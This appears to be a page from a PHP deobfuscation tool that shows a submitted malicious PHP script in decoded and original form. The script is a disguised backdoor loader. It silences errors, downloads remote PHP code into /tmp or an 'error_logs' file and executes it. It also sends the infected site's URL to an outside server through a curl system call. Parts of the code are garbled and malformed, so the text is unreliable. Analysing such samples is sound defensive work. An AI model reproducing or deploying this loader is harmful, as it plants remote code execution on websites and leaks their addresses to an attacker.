Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // ============================================================================..
Decoded Output download
<?php
// ================================================================================================================ //
$x = "https://trollhelm.moria.org/0xdeadbeef23/cowpatty";
/* SIGNED-KEY | DO NOT EDIT THIS!!*/
// ================================================================================================================ //
error_reporting(0);
if (!function_exists("Custom_encoder")) {
function Custom_encoder($x)
{
$variabel_1 = "";
$variabel_2 = 0;
$variabel_3 = strlen($x);
while ($variabel_2 < $variabel_3) {
if ($x[$variabel_2] == ' ') {
$variabel_1 .= " ";
} else if ($x[$variabel_2] == '!') {
$variabel_1 .= chr((ord($x[$variabel_2 + 1]) - ord('A')) * 16 + (ord($x[$variabel_2 + 2]) - ord('a')));
$variabel_2 += 2;
} else {
$variabel_1 .= chr(ord($x[$variabel_2]) + 1);
}
$variabel_2++;
}
return $variabel_1 ;
}
}
eval(Custom_encoder('eval(Custom_encoder('
$x2fe17 = strrev(base64_decode(strrev(base64_decode($x))));
$x09ef = '/tmp';
if (file_exists($x09ef)) {
file_put_contents("/tmp/xYz-LOGS.by.R3D-gEn=--", file_get_contents("" . $x2fe17 . ""));
require_once('/tmp/xYz-LOGS.by.R3D-gEn=--');
} else {
file_put_contents("error_logs", file_get_contents("" . $x2fe17 . ""));
require_once('error_logs');
}
$xF2d3d = base64_encode("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$xbFC36 = strrev($xF2d3d);
system('curl http://xbox.nu/secured-key/index.php?signed=' . $xbFC36 . '');
(**<)++=
));
?>
Did this file decode correctly?
Original Code
<?php
// ================================================================================================================ //
$x = "https://trollhelm.moria.org/0xdeadbeef23/cowpatty";
/* SIGNED-KEY | DO NOT EDIT THIS!!*/
// ================================================================================================================ //
error_reporting(0);
if (!function_exists("Custom_encoder")) {
function Custom_encoder($x)
{
$variabel_1 = "";
$variabel_2 = 0;
$variabel_3 = strlen($x);
while ($variabel_2 < $variabel_3) {
if ($x[$variabel_2] == ' ') {
$variabel_1 .= " ";
} else if ($x[$variabel_2] == '!') {
$variabel_1 .= chr((ord($x[$variabel_2 + 1]) - ord('A')) * 16 + (ord($x[$variabel_2 + 2]) - ord('a')));
$variabel_2 += 2;
} else {
$variabel_1 .= chr(ord($x[$variabel_2]) + 1);
}
$variabel_2++;
}
return $variabel_1 ;
}
}
eval(Custom_encoder('eval(Custom_encoder('
$x2fe17 = strrev(base64_decode(strrev(base64_decode($x))));
$x09ef = '/tmp';
if (file_exists($x09ef)) {
file_put_contents("/tmp/xYz-LOGS.by.R3D-gEn=--", file_get_contents("" . $x2fe17 . ""));
require_once('/tmp/xYz-LOGS.by.R3D-gEn=--');
} else {
file_put_contents("error_logs", file_get_contents("" . $x2fe17 . ""));
require_once('error_logs');
}
$xF2d3d = base64_encode("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$xbFC36 = strrev($xF2d3d);
system('curl http://xbox.nu/secured-key/index.php?signed=' . $xbFC36 . '');
(**<)++=
));
?>
Function Calls
| None |
Stats
| MD5 | 84663f2ba377eaab27ce2bc9c97e42ea |
| Eval Count | 0 |
| Decode Time | 43 ms |